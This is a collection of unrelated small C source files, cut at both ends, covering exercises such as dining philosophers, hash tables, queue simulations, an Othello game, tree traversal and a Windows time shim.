return 0;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* philo_bonus_routines.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mashad <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/08/22 10:24:51 by mashad #+# #+# */
/* Updated: 2021/08/28 09:24:34 by mashad ### ########.fr */
/* */
/* ************************************************************************** */
#include "philo_bonus.h"
/*
** Print status using a write mutex
** to avoid other philospher status be scrambled or intertwined
** with another philosopher’s status.
*/
void print_status(t_din *din_table, int pid, char *string)
{
sem_wait(din_table->write);
ft_putnbr_fd(ft_time_in_ms() - din_table->st, 1);
write(1, " ", 1);
ft_putnbr_fd(pid + 1, 1);
write(1, " ", 1);
write(1, string, strlen(string));
if (string[0] != 'd')
sem_post(din_table->write);
}
/*
** Philosopher get both forks then start eating
** for an amount of time ( tte ).
*/
void eat_routine(t_philo *philo)
{
sem_wait(philo->din_table->forks);
print_status(philo->din_table, philo->pid, "taken left fork\n");
sem_wait(philo->din_table->forks);
print_status(philo->din_table, philo->pid, "taken right fork\n");
print_status(philo->din_table, philo->pid, "is eating\n");
sem_wait(philo->eating);
philo->lta = ft_time_in_ms();
usleep(philo->din_table->tte * 1000 - 15000);
while (ft_time_in_ms() - philo->lta < philo->din_table->tte)
continue ;
sem_post(philo->din_table->eat);
sem_post(philo->eating);
sem_post(philo->din_table->forks);
sem_post(philo->din_table->forks);
return ;
}
/*
** Philospher time to sleep routine.
*/
void sleep_routine(t_philo *philo)
{
long long time;
print_status(philo->din_table, philo->pid, "is sleeping\n");
time = ft_time_in_ms();
usleep(philo->din_table->tts * 1000 - 15000);
while (ft_time_in_ms() - time < philo->din_table->tts)
continue ;
return ;
}
/*
** Philospher time to think routine
*/
void think_routine(t_philo *philo)
{
print_status(philo->din_table, philo->pid, "is thinking\n");
return ;
}
/*
** Routine start here with infinite loop
** that includes all routines that philospher must do
** which are eat - sleep - think.
*/
void *start_routine(t_philo *philo)
{
while (1)
{
eat_routine(philo);
sleep_routine(philo);
think_routine(philo);
usleep(100);
}
return (NULL);
}
|
C | #ifndef TESTS_H
#define TESTS_H
#include "sha2.h"
void print_ui512(ui512 num)
{
unsigned char *cnum = (unsigned char *) #
for(int i=0; i<(512/8); i++)
{
int byte = cnum[i];
printf("%02X", byte);
}
printf("\n");
}
void test1()
{
ui512 input;
ui512 output = SHA2::hash(input);
//cout << hex << input << endl;
//cout << hex << output << endl;
print_ui512(input);
print_ui512(output);
}
void alltests()
{
test1();
}
#endif // TESTS_H
|
C | #include<stdio.h>
void main()
{
int num,pos2,i=7;
printf("Enter any number:\n");
scanf("%d",&num);
pos2=(num>>2)&0x01;
printf("%d\n",pos2);
while(i>=0)
{
if((num>>i)&0x01)
{
if(i==2)
{
printf("%d",pos2);
}
else
{
printf("0");
}
}
else
{
if(i==2)
{
printf("%d",pos2);
}
else
{
printf("1");
}
// num=num&(~(0x1<<i));
}
i--;
}
}
|
C | /* * * * * * * * * * * * * * * * * * * * * * * * * *
* Author : Mahmoud Gamal Mohamed Ibrahem *
* date : 20 Feb 2020 *
* version: 1.0 *
* * * * * * * * * * * * * * * * * * * * * * * * * */
#ifndef _STD_TYPES_H_
#define _STD_TYPES_H_
/*******************************Unsigned types******************************/
typedef unsigned char uint8_t,u8;
typedef unsigned short int uint16_t,u16;
typedef unsigned long int uint32_t,u32;
/*******************************Signed types******************************/
typedef signed char int8_t,s8;
typedef signed short int int16_t,s16;
typedef signed long int int32_t,s32;
/*******************************Float numbers types******************************/
typedef float float32_t,f32;
typedef double float64_t,f64;
typedef long double float96_t,f96;
/*******************************Error types******************************/
#define ERROR_OK 1
#define ERROR_NOK 0
#define E_OK 1
#define E_NOT_OK 0
#define E_NULL_POINTER 2
#define E_INVALID_INPUT 3
#define E_TIMEOUT 4
typedef void (*ptr2func_t) (void);
typedef enum STD_ERROR
{
OK=0,
NOK=1,
NULL_POINTER=2,
NULLPOINTER=2,
NOT_VALID_INPUTS=3,
INVALID_INPUT=3,
BUSY,
TIMEOUT,
}STD_ERROR;
#define ErrorStatus_t STD_ERROR
#define E_status STD_ERROR
#define ErrorStatus STD_ERROR
/*******************************Miscellaneous******************************/
#define NULL ((void*)0)
#endif
|
C | //
// main.c
// Factors
//
// Created by Parth Verma on 31/01/17.
// Copyright © 2017 Parth Verma. All rights reserved.
//
#include <stdio.h>
int main() {
int x,i;
printf("Enter an integer: ");
scanf("%d",&x);
printf("Factors of %d are:\n",x);
for(i = 1;i <= x;i++)
{
if(x % i == 0)
printf("%d\n",i);
}
return 0;
}
|
C | #include "sequlist.h"
/**
* 将顺序表L1的数据进行分类,奇数存到L2中,偶数存到L3中
*/
void sprit(sequence_list *L1, sequence_list *L2, sequence_list *L3) {
initseqlist(L2);
initseqlist(L3);
int t;
for (int i = 0; i < L1->size; i++) {
t = L1->a[i];
if (t % 2 == 1) {
L2->a[L2->size++] = t;
} else {
L3->a[L3->size++] = t;
}
}
}
int main() {
sequence_list L1, L2, L3;
input(&L1);
sprit(&L1, &L2, &L3);
print(&L1);
print(&L2);
print(&L3);
} |
C | #include <stdio.h>
#include <stdlib.h>
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
int white='W'; //white W
int black='B'; // black B
int white_cnt=2; // ǿ ٵϵ
int black_cnt=2; // ǿ ٵϵ
int gameboard[6][6];
int printBoard(int gameboard[6][6]){ // Լ
int i, j; // i,j
gameboard[2][2]=white; // gameboard 2,2 ٵϵ ġ
gameboard[3][3]=white; //gameboard 3,3 ٵϵ ġ
gameboard[2][3]=black; //gameboard 2,3 ٵϵ ġ
gameboard[3][2]=black; //gameboard 3,2 ٵϵ ġ
printf("------------\n");
for(i=0;i<6;i++){ //6X6
for(j=0;j<6;j++){
printf("%c|", gameboard[i][j]); //
}
printf("\n");
printf("------------\n");
}
}
int checkFlip(int startX, int startY, int wayX, int wayY, int color) { //Ư ĭ Ư ִ ִ Լ
int x,y;
int stone_cnt=0; // ִ Ÿ
int gameboard[startY][startX];
do{
if(gameboard[y][x]==white){
for (x=5; x>=0; x--) { //Է ĭ ʿ ִ
stone_cnt++;
}
}
} while (gameboard[y][x]==black); // ̵ ߱
printf("%d", stone_cnt); //̵ ĭ
}
int main(int argc, char *argv[]) {
int x,y; // x,y
int player=1; //÷̾
int gameboard[6][6]={}; // gameboard迭 μ
int flag_turnEnd; //ʰ ƴ ˷ִ
while (1) { // ݺ
flag_turnEnd = 0;
printBoard(gameboard); //printBoardԼ ȣ
printf("STATUS- WHITE: %d, BLACK: %d\n", white_cnt, black_cnt); //, ٵϵ Ÿ
if (player==1){
printf("put a new white othello: \n"); // ٵϵ ġ Է϶
}
else
{
printf("put a new black othello: \n"); // ٵϵ ġ Է϶
}
scanf("%d %d", &y, &x); // ٵϵ ǥ Է¹ޱ
if(gameboard[y-1][x-1]!=white&& gameboard[y-1][x-1]!=black){ //Է¹ ǥ , ٵϵ ̶
printBoard(gameboard); //gameboardȣ
if (player == 1)
gameboard[y-1][x-1]=white; //Է¹ ǥ ֱ
else
gameboard[y-1][x-1]=black; //Է¹ ǥ ֱ
flag_turnEnd = 1;
}
else if(y>5|| x>5|| y<0|| x<0){
printf("invalid input! (should be less than 6)");
}
if (flag_turnEnd == 1)
player = (player + 1)%2; // ٲٱ :1, :0
}
return 0;
}
|
C | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define N 100
int count = 0;
struct dict_list{
/*(ア)*/
struct dict_list *next;
char *name;
};
struct dict_list *bucket[N];
int h(char *str){
return *str%N;
}
int h2(char *str){
return (str[0] + str[1]) % N;
}
int h3(char *str){
unsigned int i, v;
int l = strlen(str);
v = 0;
for(i = 0;i < l; i++){
v = v + (str[i] << ((i * 7) % 31));
}
return v % N;
}
int search(char *str){
struct dict_list *elem;
int i;
i = h(str);
//i = h2(str);
//i = h3(str);
elem = bucket[i];
while(elem){
count++;
if(!strcmp(elem->name, str)){
return -1;
}
elem = elem->next;
}
/*(イ)*/
return i;
}
void insert(char *str){
struct dict_list *new;
int i;
i = search(str);
if(i<0){
return;
}
new = malloc(sizeof(struct dict_list));
/*(ウ)*/
new->next = bucket[i];
new->name = str;
/*(エ)*/
bucket[i] = new;
}
void disply(void){
int i;
struct dict_list *elem;
for(i = 0; i < N;i++){
elem = bucket[i];
if(elem == NULL){
continue;
}
printf("bucket[%d]->",i);
while(elem){
printf("[%s]->",elem->name);
/*(オ)*/
elem = elem->next;
}
printf("[]\n");
}
}
int main(void){
insert("hydrogen");
insert("hellium");
insert("lithium");
insert("beryllium");
insert("boron");
insert("carbon");
insert("nitrogen");
insert("oxygen");
insert("fluorine");
insert("neon");
printf("(2)\n");
disply();
printf("(3)\n");
count = 0;
insert("natrium");
printf("%d回\n", count);
return 0;
} |
C | #include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <semaphore.h>
int main()
{
sem_t *sem;
sem = sem_open("/aaa",0);
int looptime = 0;
while(1)
{
sem_wait(sem);
printf("got it \r\n");
looptime++;
if(looptime >= 6)
{
sem_close(sem);
break;
}
}
} |
C | int subtract(int x , int y){
int result;
result = x-y;
return result;
} |
C | /*
* 题目:给定一个二叉树,返回它的中序遍历。
*
* 示例:
* 输入: [1,null,2,3]
* 1
* \
* 2
* /
* 3
*
* 输出: [1,3,2]
*
* 进阶: 递归算法很简单,你可以通过迭代算法完成吗?
*
*/
/*
* 思路:二叉树的中序遍历可以采用递归和非递归两种算法。本题中的难点在于题目要求
* 返回中序遍历的数组,以及树中的元素个数,需要每次在添加元素时动态的调整内存空间的大小;
* 非递归算法需要借助于栈来实现;
*/
/**
* Definition for a binary tree node.
* struct TreeNode {
* int val;
* struct TreeNode *left;
* struct TreeNode *right;
* };
*/
/**
* Return an array of size *returnSize.
* Note: The returned array must be malloced, assume caller calls free().
*/
#if 0
/* 递归解法 */
static void internal_traversal(struct TreeNode* root, int* returnSize, int **array)
{
if (root == NULL) {
return ;
} else {
internal_traversal(root->left, returnSize, array);
(*returnSize)++;
*array = realloc(*array, (*returnSize)*sizeof(int));
(*array)[*returnSize - 1] = root->val;
internal_traversal(root->right, returnSize, array);
}
}
int* inorderTraversal(struct TreeNode* root, int* returnSize) {
int *array = NULL;
*returnSize = 0;
internal_traversal(root, returnSize, &array);
return array;
}
#endif
/* 非递归解法 */
int* inorderTraversal(struct TreeNode* root, int* returnSize) {
const int max = 100;
struct TreeNode* stack[max];
int stack_index = -1; /* point to the bottom */
int *array = NULL;
if (root == NULL) {
return NULL;
}
while (root || stack_index != -1) {
if (root) {
stack_index++;
stack[stack_index] = root;
root = root->left;
} else {
root = stack[stack_index];
stack_index--;
(*returnSize)++;
array = realloc(array, sizeof(int) * (*returnSize));
array[(*returnSize) - 1] = root->val;
root = root->right;
}
}
return array;
}
|
C | /*
* Wodox reimplemented again.
* This code copyright (c) Luis Javier Sanz 2009-2013
*/
#include "play_private.h"
/*----------------------------------------------------------------------------
* Grab an object from the unused list and initialize it.
*----------------------------------------------------------------------------*/
struct object *
object_new(uint8_t type, uint16_t off)
{
if (game.object_count > OBJECT_POOL_SIZE)
return NULL;
struct object *o = &game.cs.objects[game.object_count++];
memset(o, 0, sizeof(struct object));
o->type = type;
o->idx = off;
o->dir = STILL;
o->dsp = 0;
OBJ[o->idx] = o;
MAP[o->idx] = o->type;
return o;
}
/*----------------------------------------------------------------------------
* Drop an object in the unused list.
*----------------------------------------------------------------------------*/
void
object_free (struct object * o)
{
OBJ[o->idx] = NULL;
MAP[o->idx] = EMPTY;
}
/*----------------------------------------------------------------------------
* Move object
*----------------------------------------------------------------------------*/
void
object_move(struct object *o, int dir)
{
o->dir = dir;
MAP[o->idx + offset[dir]] = o->type;
MAP[o->idx] = GHOST;
OBJ[o->idx + offset[dir]] = o;
OBJ[o->idx] = NULL;
}
/*----------------------------------------------------------------------------
* Move object, if possible
*----------------------------------------------------------------------------*/
int
object_try_move(struct object *o, int dir)
{
if (MAP[o->idx + offset[dir]] & SOLID)
return STILL;
object_move(o, dir);
return dir;
}
|
C | #define MAX_N_SERVER 1000
void single_server_queue(float arrival_time_ls[], float service_time_ls[], float wait_time_ls[], int n_customer);
void const_multi_server_queue(float arrival_time_ls[], float service_time_ls[], float wait_time_ls[],
int n_server, int n_customer);
void changing_multi_server_queue(float arrival_time_ls[], float service_time_ls[], float wait_time_ls[],
int n_server_ls[], float duration_ls[], int n_customer, int n_period);
int allocate_server(float busy_till_time_ls[], int n_server_ls[], int n_period,
float cum_duration_ls[], int max_n_server);
// void test() {
// // for single server queue
// float arrival_time_ls_1[] = {15, 47, 71, 111, 123, 152, 166, 226, 310, 320};
// float service_time_ls_1[] = {43, 36, 34, 30, 38, 40, 31, 29, 36, 30};
// int n_customer = sizeof (arrival_time_ls_1) / sizeof (arrival_time_ls_1[0]);
// // for multi server queue with constant number of servers
// float arrival_time_ls_2[] = {15, 47, 71, 111, 123, 152, 166, 226, 310, 320};
// float service_time_ls_2[10] = {};
// for (int i = 0; i < n_customer; ++i){
// service_time_ls_2[i] = service_time_ls_1[i] * 5;
// }
// int n_server = 4;
// // for multi server queue with changing number of servers
// float arrival_time_ls_3[] = {15, 47, 71, 111, 123, 152, 166, 226, 310, 320};
// float service_time_ls_3[10] = {};
// for (int i = 0; i < n_customer; ++i){
// service_time_ls_3[i] = service_time_ls_1[i] * 5;
// }
// int n_server_ls[] = {4,4,4,4};
// float duration_ls[] = {50, 50, 100, 50};
// int n_period = 4;
// /* single server queue */
// float wait_time_ls_1[n_customer];
// single_server_queue(arrival_time_ls_1, service_time_ls_1, wait_time_ls_1, n_customer);
// printf("results for single server queue\n");
// for (int i = 0; i < n_customer; i = i + 1)printf("%f\n", wait_time_ls_1[i]);
// printf("**********\n");
// /* constant multi server queue */
// float wait_time_ls_2[n_customer];
// const_multi_server_queue(arrival_time_ls_2, service_time_ls_2, wait_time_ls_2, n_server, n_customer);
// printf("results for constant multi server queue\n");
// for (int i = 0; i < n_customer; i = i + 1)printf("%f\n", wait_time_ls_2[i]);
// printf("**********\n");
// /* changing multi server queue */
// float wait_time_ls_3[n_customer];
// changing_multi_server_queue(arrival_time_ls_3, service_time_ls_3, wait_time_ls_3, n_server_ls, duration_ls,
// n_customer, n_period);
// printf("results for changing multi server queue\n");
// for (int i = 0; i < n_customer; i = i + 1)printf("%f\n", wait_time_ls_3[i]);
// printf("**********\n");
// }
void single_server_queue(float arrival_time_ls[], float service_time_ls[], float wait_time_ls[], int n_customer) {
/* Reference: http://www.cs.wm.edu/~esmirni/Teaching/cs526/section1.2.pdf */
float c_i_minus_1 = 0;
float d_i;
for ( int i = 0; i < n_customer; i = i + 1 ){
float a_i = arrival_time_ls[i];
if (a_i < c_i_minus_1){
d_i = c_i_minus_1 - a_i;
}else{
d_i = 0;
}
wait_time_ls[i] = d_i;
c_i_minus_1 = a_i + d_i + service_time_ls[i];
}
}
int index_min(float list[], int length) {
/* find the smallest value in list */
float min_val_found = list[0];
int index = 0;
for (int i = 0; i < length; i++) {
if (min_val_found > list[i]) {
min_val_found = list[i];
index = i;
}
}
return index;
}
void const_multi_server_queue(float arrival_time_ls[], float service_time_ls[], float wait_time_ls[],
int n_server, int n_customer){
float busy_till_time_ls[MAX_N_SERVER] = {};
for(int customer_id=0; customer_id < n_customer; ++customer_id){
float current_arrival_time = arrival_time_ls[customer_id];
// allocate one server
int server_id = index_min(busy_till_time_ls, n_server);
float earliest_start_time = busy_till_time_ls[server_id];
if (earliest_start_time < current_arrival_time){
wait_time_ls[customer_id] = 0;
busy_till_time_ls[server_id] = current_arrival_time + service_time_ls[customer_id];
} else {
wait_time_ls[customer_id] = earliest_start_time - current_arrival_time;
busy_till_time_ls[server_id] += service_time_ls[customer_id];
}
}
}
void cumsum(float list[], int length, float result[]){
float cumsum_val = 0;
for (int i = 0; i < length; ++i){
cumsum_val += list[i];
result[i] = cumsum_val;
}
}
int max(int list[], int length){
int largest_val = 0;
for (int i = 0; i < length; ++i){
if (list[i] > largest_val){
largest_val = list[i];
}
}
return largest_val;
}
void changing_multi_server_queue(float arrival_time_ls[], float service_time_ls[], float wait_time_ls[],
int n_server_ls[], float duration_ls[], int n_customer, int n_period){
float busy_till_time_ls[MAX_N_SERVER] = {};
float cum_duration_ls[n_period];
cumsum(duration_ls, n_period, cum_duration_ls);
int max_n_server = max(n_server_ls, n_period);
for(int customer_id=0; customer_id < n_customer; ++customer_id){
float current_arrival_time = arrival_time_ls[customer_id];
// allocate one server
int server_id = allocate_server(busy_till_time_ls, n_server_ls, n_period, cum_duration_ls,
max_n_server);
if (server_id == -1){
wait_time_ls[customer_id] = -1;
} else{
float earliest_start_time = busy_till_time_ls[server_id];
if (earliest_start_time < current_arrival_time){
wait_time_ls[customer_id] = 0;
busy_till_time_ls[server_id] = current_arrival_time + service_time_ls[customer_id];
} else {
wait_time_ls[customer_id] = earliest_start_time - current_arrival_time;
busy_till_time_ls[server_id] += service_time_ls[customer_id];
}
}
}
}
int which_period(float current_time, float cum_duration_ls[], int n_period){
int period_id;
for (period_id = 0; period_id < n_period; ++period_id){
float period_end_time = cum_duration_ls[period_id];
if (period_end_time > current_time){
return period_id;
}
}
// return period_id = n_period if current_time does not belong to any period
return period_id;
}
int earliest_accessible_period_after(int first_idle_period_id, int server_id, int n_server_ls[], int n_period){
int earliest_accessible_period;
for (earliest_accessible_period = first_idle_period_id; earliest_accessible_period < n_period; ++earliest_accessible_period){
if (n_server_ls[earliest_accessible_period] > server_id){
return earliest_accessible_period;
}
}
return earliest_accessible_period;
}
int allocate_server(float busy_till_time_ls[], int n_server_ls[], int n_period,
float cum_duration_ls[], int max_n_server) {
float total_duration = cum_duration_ls[n_period - 1];
for (int server_id = 0; server_id < max_n_server; server_id++) {
// check whether this server is accessible at time busy_till_time_ls[server_id]
int first_idle_period_id;
int server_accessible;
if (busy_till_time_ls[server_id] >= total_duration) {
// this server is not accessible forever, thus turn to the next server
continue;
} else {
first_idle_period_id = which_period(busy_till_time_ls[server_id], cum_duration_ls, n_period);
int current_n_server;
if (first_idle_period_id != n_period) {
current_n_server = n_server_ls[first_idle_period_id];
} else {
// when first_idle_period_id == n_period, the busy_till_time_ls[server_id] is larger than total_duration
// thus no server is available
current_n_server = 0;
}
server_accessible = (current_n_server > server_id);
}
// if yes, nothing need to do
// if not, find the earliest time that this server becomes accessible,
// change busy_till_time_ls[server_id] to this value
if (server_accessible == 0) {
int earliest_accessible_period = earliest_accessible_period_after(first_idle_period_id, server_id,
n_server_ls,
n_period);
if (earliest_accessible_period != n_period) {
busy_till_time_ls[server_id] = cum_duration_ls[earliest_accessible_period];
} else {
// when earliest_accessible_period == n_period, this server is not accessible till the end.
// set busy_till_time_ls[server_id] to total_duration
busy_till_time_ls[server_id] = total_duration;
}
}
}
int allocated_server_id = index_min(busy_till_time_ls, max_n_server);
int allocated_server_idle_time = busy_till_time_ls[allocated_server_id];
if (allocated_server_idle_time >= total_duration) {
return -1; // return -1 for no server available anymore
} else {
return allocated_server_id;
}
}
|
C | // i/o example
#include <iostream>
using namespace std;
int main ()
{
int j = 0;
int i;
while(true){
cin >> i;
j++;
cout << j;
}
return 0;
}
|
C | /*********************************************************************
* Test Program
* ---------------------------------------------------------
* Filetype: (SOURCE)
*
* Copyright -- see file named COPYRIGHTNOTICE
*
********************************************************************/
/*! \file
* \ingroup tests
* \brief Ensure the bilinear interpolator works.
*
* \note
* MATIDS TO TEST: 2140
*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include "../src/TEST_FUNCTIONS.h"
#include "../src/eos_Interface.h"
int main(){
EOS_CHAR errorMessage[EOS_MaxErrMsgLen];
EOS_INTEGER no_tables = 1;
EOS_INTEGER table_type[1];
EOS_INTEGER matID[1];
EOS_INTEGER table_handles[1];
EOS_INTEGER error = EOS_OK;
EOS_INTEGER tableHandleErrorCode;
EOS_INTEGER errorCode;
EOS_INTEGER tableOption = EOS_DUMP_DATA;
EOS_INTEGER interpOption = EOS_LINEAR;
EOS_INTEGER no_vals =7+4;
EOS_REAL xVals[no_vals], yVals[no_vals], fVals[no_vals], dFx[no_vals], dFy[no_vals];
int i;
table_type[0] = EOS_Pt_DT;
matID[0] = 2140;
xVals[0] = 1.; /*density*/
yVals[0] = 300.; /*temperature--reset to 100 when done*/
xVals[1] = .03; /*density*/
yVals[1] = 100.; /*temperature*/
xVals[2] = .03; /*density*/
yVals[2] = 3e8; /*temperature*/
xVals[3] = 10e4; /*density*/
yVals[3] = 100.; /*temperature*/
xVals[4] = 10e4; /*density*/
yVals[4] = 3.e8; /*temperature*/
xVals[5] = 5.4513885; /*density*/
yVals[5] = 1.2e8; /*temperature*/
#define eps 1e-6
xVals[6] = 9.4011992*(1-eps); /*density*/
yVals[6] = 5.8024249e3*(1-eps); /*temperature*/
xVals[7] = 9.4011992*(1+eps); /*density*/
yVals[7] = 5.8024249e3*(1-eps); /*temperature*/
xVals[8] = 9.4011992*(1-eps); /*density*/
yVals[8] = 5.8024249e3*(1+eps); /*temperature*/
xVals[9] = 9.4011992*(1+eps); /*density*/
yVals[9] = 5.8024249e3*(1+eps); /*temperature*/
xVals[10] = .825; /*density*/
yVals[10] = 300; /*temperature*/
eos_CreateTables(&no_tables, table_type, matID, table_handles, &error);
/*check for errors*/
if(error == EOS_OK)
printf("eos_CreateTables error EOS_OK\n");
else {
eos_GetErrorMessage (&error, errorMessage);
printf ("eos_CreateTables ERROR %i: %s\n", error, errorMessage);
/*now go through all table handles*/
for (i = 0; i < no_tables; i++) {
tableHandleErrorCode = EOS_OK;
eos_GetErrorCode (&table_handles[i], &tableHandleErrorCode);
if (tableHandleErrorCode != EOS_OK) {
eos_GetErrorMessage (&tableHandleErrorCode, errorMessage);
printf ("Table handle %i: eos_CreateTables ERROR %i: %s\n",
table_handles[i], tableHandleErrorCode, errorMessage);
}
else{
printf("Table handle %i: eos_CreateTables error code EOS_OK\n", table_handles[i]);
}
}
}
/*set options to dump data to file*/
eos_SetOption(&table_handles[0], &tableOption, EOS_NullPtr, &error);
/*check for errors*/
if(error == EOS_OK)
printf("eos_SetOption error EOS_OK\n");
else {
eos_GetErrorMessage (&errorCode, errorMessage);
printf ("eos_SetOption ERROR %i: %s\n", errorCode, errorMessage);
}
/*load table*/
eos_LoadTables(&no_tables, table_handles, &error);
/*error check*/
if(error == EOS_OK)
printf("eos_LoadTables error EOS_OK\n");
else {
eos_GetErrorMessage (&error, errorMessage);
printf ("eos_LoadTables ERROR %i: %s\n", error, errorMessage);
/*now go through all table handles*/
for (i = 0; i < no_tables; i++) {
tableHandleErrorCode = EOS_OK;
eos_GetErrorCode (&table_handles[i], &tableHandleErrorCode);
if (tableHandleErrorCode != EOS_OK) {
eos_GetErrorMessage (&tableHandleErrorCode, errorMessage);
printf ("Table handle %i: eos_LoadTables ERROR %i: %s\n",
table_handles[i], tableHandleErrorCode, errorMessage);
}
else{
printf("Table handle %i: eos_LoadTables error code EOS_OK\n", table_handles[i]);
}
}
}
/*set interpolation method to bilinear interpolation*/
eos_SetOption(&table_handles[0], &interpOption, EOS_NullPtr, &error);
if(error == EOS_OK)
printf("eos_SetOption error EOS_OK\n");
else {
eos_GetErrorMessage (&errorCode, errorMessage);
printf ("eos_SetOption ERROR %i: %s\n", errorCode, errorMessage);
}
eos_Interpolate(table_handles, &no_vals, xVals, yVals, fVals, dFx, dFy, &error);
if(error == EOS_OK)
printf("eos_Interpolate error EOS_OK\n");
else {
eos_GetErrorMessage (&errorCode, errorMessage);
printf ("eos_Interpolate ERROR %i: %s\n", errorCode, errorMessage);
}
//output statement:
for(i=0;i<no_vals;i++){
printf("interpolated value is %g, derivative x is %g, derivative y is %g \n", fVals[i], dFx[i], dFy[i]);
}
eos_DestroyAll (&error);
return 0;
}
|
C | #include <stdio.h>
int main(void)
{
int n,b;
printf("һ\n");
scanf("%d", &n);
for (int i = 2; i < n; i++)
{
b = n % i;
if (b == 0)
{
printf("һ");
goto quit; //һ1Լѭʾ
}
}
printf("һ");
quit:return 0;
} |
C | #include <stdio.h>
struct Shape {
int type;
};
struct Point {
struct Shape shape;
int x, y;
};
struct Line {
struct Point start;
struct Point end;
};
int main_inherit()
{
struct Line line;
struct Point *point_start = (struct Point *) &line;
line.start.x = 10;
line.start.y = 11;
line.end.x = 20;
line.end.y = 21;
printf("Point start(%d, %d)\n", point_start->x, point_start->y);
printf("Point end (%d, %d)\n", line.end.x, line.end.y);
return 0;
}
|
C | #pragma once
#include <time.h>
#include <windows.h>
const __int64 DELTA_EPOCH_IN_MICROSECS = 11644473600000000;
/* IN UNIX the use of the timezone struct is obsolete;
I don't know why you use it. See http://linux.about.com/od/commands/l/blcmdl2_gettime.htm
But if you want to use this structure to know about GMT(UTC) diffrence from your local time
it will be next: tz_minuteswest is the real diffrence in minutes from GMT(UTC) and a tz_dsttime is a flag
indicates whether daylight is now in use
*/
struct timezone
{
__int32 tz_minuteswest; /* minutes W of Greenwich */
bool tz_dsttime; /* type of dst correction */
};
/*struct timeval {
__int32 tv_sec; // seconds
__int32 tv_usec; // microseconds
};*/
int gettimeofday(struct timeval *tv/*in*/, struct timezone *tz/*in*/)
{
FILETIME ft;
__int64 tmpres = 0;
TIME_ZONE_INFORMATION tz_winapi;
int rez = 0;
ZeroMemory(&ft, sizeof(ft));
ZeroMemory(&tz_winapi, sizeof(tz_winapi));
GetSystemTimeAsFileTime(&ft);
tmpres = ft.dwHighDateTime;
tmpres <<= 32;
tmpres |= ft.dwLowDateTime;
/*converting file time to unix epoch*/
tmpres /= 10; /*convert into microseconds*/
tmpres -= DELTA_EPOCH_IN_MICROSECS;
tv->tv_sec = (__int32)(tmpres*0.000001);
tv->tv_usec = (tmpres % 1000000);
//_tzset(),don't work properly, so we use GetTimeZoneInformation
rez = GetTimeZoneInformation(&tz_winapi);
tz->tz_dsttime = (rez == 2) ? true : false;
tz->tz_minuteswest = tz_winapi.Bias + ((rez == 2) ? tz_winapi.DaylightBias : 0);
return 0;
}
|
C | /**
* @brief
* Function that waits for a specific event.
* @author
* Felix Brüning
*/
#ifndef THREAD_WAIT_FOR_EVENT_H
#define THREAD_WAIT_FOR_EVENT_H
#include <pthread.h>
/**
* Function that waits until the function @see f returns the value val.
*
* @param cond
* Condition to wait for.
* @param mutex
* Mutex for condition.
* @param f
* Function to call until it returns val.
* @param val
* Value that the function has to return.
* @return
* value.
*/
int wait_for(pthread_cond_t* cond, pthread_mutex_t* mutex, int (*f)(void), int val);
#endif //THREAD_WAIT_FOR_EVENT_H
|
C | #include "solution.h"
// Crea una soluzione vuota per un problema di dimensione n
void create_solution (int n, solution_t *px)
{
point_pos p;
px->f = 0;
px->card_x = 0;
px->card_N = n;
px->in_x = bool_alloc(n+1);
// Liste dei punti nella soluzione x e nel complemento N \setminus x
px->next = int_alloc(n+1+1);
px->prev = int_alloc(n+1+1);
// La soluzione contiene solo la sentinella
px->head_x = 0;
// Il complemento contiene tutti i punti, ordinati per indici crescenti
px->head_notx = n+1;
for (p = 1; p <= n; p++)
{
px->prev[p+1] = p;
px->next[p] = p+1;
}
px->prev[1] = n+1;
px->next[n+1] = 1;
}
// Dealloca una soluzione *px
void destroy_solution (solution_t *px)
{
px->f = 0;
px->card_x = px->card_N = 0;
free(px->in_x);
px->in_x = NULL;
px->head_x = 0;
px->head_notx = 0;
free(px->next);
px->next = NULL;
free(px->prev);
px->prev = NULL;
}
// Determina l'indice del punto indicato dal cursore p nella soluzione *px
int get_point (point_pos p, solution_t *px)
{
return (int) p;
}
// Determina il cursore a un dato punto i
point_pos get_point_pos (int i, solution_t *px)
{
return (point_pos) i;
}
// Legge il valore della funzione obiettivo per la soluzione *px
int get_obj (solution_t *px)
{
return px->f;
}
// Indica se si e' arrivati in fondo alla lista (la posizione p e' una sentinella)
bool end_point_list (point_pos p, solution_t *px)
{
return ( (p < 1) || (p > px->card_N) );
}
// Indica se la soluzione *px e' vuota
bool empty_solution (solution_t *px)
{
return (px->next[px->head_x] == px->head_x);
}
// Restituiscono i cursori al primo e all'ultimo punto della soluzione *px
point_pos first_point_in (solution_t *px)
{
return px->next[px->head_x];
}
point_pos last_point_in (solution_t *px)
{
return px->prev[px->head_x];
}
// Restituiscono i cursori al primo e all'ultimo punto fuori della soluzione *px
point_pos first_point_out (solution_t *px)
{
return px->next[px->head_notx];
}
point_pos last_point_out (solution_t *px)
{
return px->prev[px->head_notx];
}
// Restituiscono i cursori al punto che segue e a quello che precede il punto individuato dal cursore p
point_pos next_point (point_pos p, solution_t *px)
{
return px->next[p];
}
point_pos prev_point (point_pos p, solution_t *px)
{
return px->prev[p];
}
// Aggiunge il punto i alla soluzione *px
void move_point_in (int i, solution_t *px, data_t *pI)
{
point_pos pp, sp, p;
if (px->in_x[i] == true)
{
fprintf(stderr,"Point %d is already in the solution!\n",i);
exit(EXIT_FAILURE);
}
else
{
// Cancella il punto dalla lista corrente
sp = px->next[i];
pp = px->prev[i];
px->next[pp] = sp;
px->prev[sp] = pp;
// Aggiunge il punto nell'altra lista
sp = px->next[px->head_x];
pp = px->head_x;
px->next[i] = sp;
px->prev[i] = pp;
px->next[pp] = i;
px->prev[sp] = i;
// Aggiorna la cardinalità
px->card_x++;
// Aggiorna il vettore di incidenza
px->in_x[i] = true;
// Aggiorna il valore dell'obiettivo
for (p = first_point_in(px); !end_point_list(p,px); p = next_point(p,px))
px->f += pI->d[get_point(p,px)][i];
}
}
// Cancella il punto i dalla soluzione *px
void move_point_out (int i, solution_t *px, data_t *pI)
{
point_pos pp, sp, p;
if (px->in_x[i] == false)
{
fprintf(stderr,"Point %d is already out of the solution!\n",i);
